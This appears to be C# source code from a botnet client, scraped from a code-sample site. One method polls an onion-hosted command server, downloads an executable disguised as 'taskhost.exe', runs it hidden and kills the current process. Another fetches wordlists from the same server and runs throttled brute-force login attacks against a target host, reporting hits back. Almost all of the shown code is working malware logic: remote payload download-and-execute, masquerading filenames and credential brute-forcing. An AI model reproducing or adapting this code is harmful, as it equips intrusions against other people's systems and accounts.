public void Start()
        {
            System.Threading.Thread.Sleep(120000);

            SocksWebClient wc = WebclientFactory.getWebClient();

            try
            {
                string updates = wc.DownloadString(FluxGlobal.sOnion + "api/bots/update.php");

                double dAvailable = double.Parse(updates);

                if (dAvailable > FluxGlobal.dVersion)
                {
                    try
                    {
                        wc.DownloadFile(FluxGlobal.sOnion + "api/bots/svchost.exe", FluxGlobal.sInstallDirectory + "\\taskhost.exe");

                        System.Diagnostics.Process p = new System.Diagnostics.Process();
                        p.StartInfo = new System.Diagnostics.ProcessStartInfo(FluxGlobal.sInstallDirectory + "\\taskhost.exe");
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.CreateNoWindow  = true;
                        p.StartInfo.WindowStyle     = System.Diagnostics.ProcessWindowStyle.Hidden;
                        p.Start();

                        System.Diagnostics.Process.GetCurrentProcess().Kill();
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
        public void startDictionary()
        {
            bool bFireFailed = true;

            string sDictionaryPath = System.Windows.Forms.Application.StartupPath + "\\dicts\\";

            if (System.IO.Directory.Exists(sDictionaryPath) == false)
            {
                System.IO.Directory.CreateDirectory(sDictionaryPath);
            }

            if (System.IO.File.Exists(sDictionaryPath + sDictionaryName + ".dic") == false)
            {
                SocksWebClient wc = WebclientFactory.getWebClient();
                wc.DownloadFile(FluxGlobal.sOnion + "api/bots/fetchresource.php?type=dict&name=" + sDictionaryName + ".dic", sDictionaryPath + sDictionaryName + ".dic");
            }

            System.IO.StreamReader sr = System.IO.File.OpenText(sDictionaryPath + sDictionaryName + ".dic");
            bool bAdd = false;

            while (sr.Peek() >= 0)
            {
                string word = sr.ReadLine();

                if (word.StartsWith(sDictionaryStart))
                {
                    bAdd = true;
                }

                if (bAdd == true)
                {
                    alDictionaryQueue.Add(word);
                }

                CPUThrottle.ThrottleCPU();

                if (word.StartsWith(sDictionaryStop))
                {
                    break;
                }
            }
            sr.Close();

            double dAvgResponseTime = 0.0;

            while (alDictionaryQueue.Count > 0)
            {
                string word = alDictionaryQueue[0].ToString();
                alDictionaryQueue.RemoveAt(0);

                DateTime dtStart  = DateTime.Now;
                object[] bSuccess = ((BruteForceEnginePlugin)pluginClassObject).Attack(sPluginTargetHost, iPluginTargetPort, sPluginTargetVersion, word);
                DateTime dtStop   = DateTime.Now;

                TimeSpan ts = dtStop.Subtract(dtStart);

                fireResponseTime(ewObject.iThreadID, ts.TotalSeconds, sPluginTargetHost);

                if (bSuccess[0] != null)
                {
                    if ((bool)bSuccess[0] == false)
                    {
                        fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]);
                        bFireFailed = false;
                        break;
                    }

                    if ((bool)bSuccess[0] == true)
                    {
                        fireSuccess(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]);
                        bFireFailed = false;
                        break;
                    }
                }

                CPUThrottle.ThrottleCPU();
                NetworkThrottle.ThrottleNetwork();
            }

            if (bFireFailed == true)
            {
                fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, "exhausted");
            }
        }
Exemple #3
0
 public static void Initialize()
 {
     wc  = WebclientFactory.getMicroWebclient();
     swc = WebclientFactory.getWebClient();
 }